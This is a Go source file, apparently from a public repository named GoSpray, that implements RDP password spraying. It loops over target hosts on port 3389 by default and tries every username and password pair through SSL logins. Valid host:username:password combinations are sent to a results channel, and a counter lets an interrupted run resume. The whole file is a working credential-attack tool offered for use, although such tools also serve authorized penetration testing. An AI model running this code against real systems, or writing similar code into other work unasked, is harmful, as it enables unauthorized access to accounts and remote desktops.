-
Notifications
You must be signed in to change notification settings - Fork 7
/
rdpspray.go
55 lines (49 loc) · 1.29 KB
/
rdpspray.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package main
import (
"fmt"
"github.com/GoSpray/grdp"
"github.com/GoSpray/grdp/glog"
"github.com/GoSpray/grdp/protocol/pdu"
"github.com/GoSpray/grdp/protocol/sec"
"github.com/GoSpray/grdp/protocol/t125"
"github.com/GoSpray/grdp/protocol/tpkt"
"github.com/GoSpray/grdp/protocol/x224"
"sync"
)
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
}
func rdpSpray (wg *sync.WaitGroup, channelToCommunicate chan string, taskToRun task, storeResult *int) {
defer wg.Done()
internalCounter := 0
for _,taskTarget := range taskToRun.targetsRaw {
temporaryTarget := parseTarget(taskTarget)
taskToRun.target = temporaryTarget
if taskToRun.target.port == 0 {
taskToRun.target.port = 3389
}
for _,password := range taskToRun.passwords {
for _,username := range taskToRun.usernames {
if internalCounter >= *storeResult {
client := grdp.NewClient(stringifyTarget(taskToRun.target), glog.NONE)
var err error
err = client.LoginForSSL(".",username, password)
if err != nil {
fmt.Print("-")
} else {
fmt.Print("+")
channelToCommunicate <- taskToRun.target.host + ":" + username+":"+password
}
*storeResult++
} else {
}
internalCounter++
}
}
}
}